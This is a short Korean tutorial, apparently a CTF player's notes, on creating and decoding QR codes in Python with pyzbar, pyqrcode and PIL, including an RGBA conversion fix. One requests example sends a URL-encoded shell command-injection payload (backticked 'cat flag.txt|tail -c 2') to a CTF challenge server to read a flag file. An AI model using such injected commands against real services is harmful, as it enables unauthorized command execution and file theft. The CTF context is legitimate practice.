필요한 모듈을 설치해준다.
#apt-get install -y zbar-tools
#pip install pyqrcode
#pip install pyzbar
#pip install pypng && pip install image //qr 이미지 생성에 필요
먼저 requests를 이용한 방법이다.
import requests
url = 'http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=%60cat%20flag.txt|tail%20-c%202%60'
res = requests.get(url)
print res.content
with open('qr.png', 'wb') as f:
f.write(res.content)
urllib을 이용한 방법이다. 전자보다 간단하다.
import urllib urllib.request.urlretrieve("http://www.example.com/songs/mp3.jpg", "mp3.jpg")
img = 'mp3.jpg'
print decode(Image.open(img))[0].data.decode()
이미지를 requets 방식으로 다운로드 했을 경우 QR 코드 스캔시 다음과 같은 예외가 발생한다.
/usr/lib/python2.7/dist-packages/PIL/Image.py:989: UserWarning: Palette images with Transparency expressed in bytes should be converted to RGBA images
따라서 SRGB로 변환하는 과정이 추가로 필요하다.(urllib을 이용할 경우는 문제가 없다.)
def convertToRGBA(path, out):
png = Image.open(path).convert('RGBA')
background = Image.new('RGBA', png.size, (255,255,255))
alpha_composite = Image.alpha_composite(background, png)
alpha_composite.save(out, path.split('.')[1], quality=80)
convertToRGBA(img, img)
print decode(Image.open(img))[0].data.decode()
페이로드를 QR코드로 전송해야 하는 경우도 있어, 생성하는 방법을 알아두면 좋다.
pyqrcode 모듈을 사용한다.
import pyqrcode
qr = pyqrcode.create("test1")
qr.png("test1.png", scale=6)
https://stackoverflow.com/questions/27233351/how-to-decode-a-qr-code-image-in-preferably-pure-python
https://stackoverflow.com/questions/9166400/convert-rgba-png-to-rgb-with-pil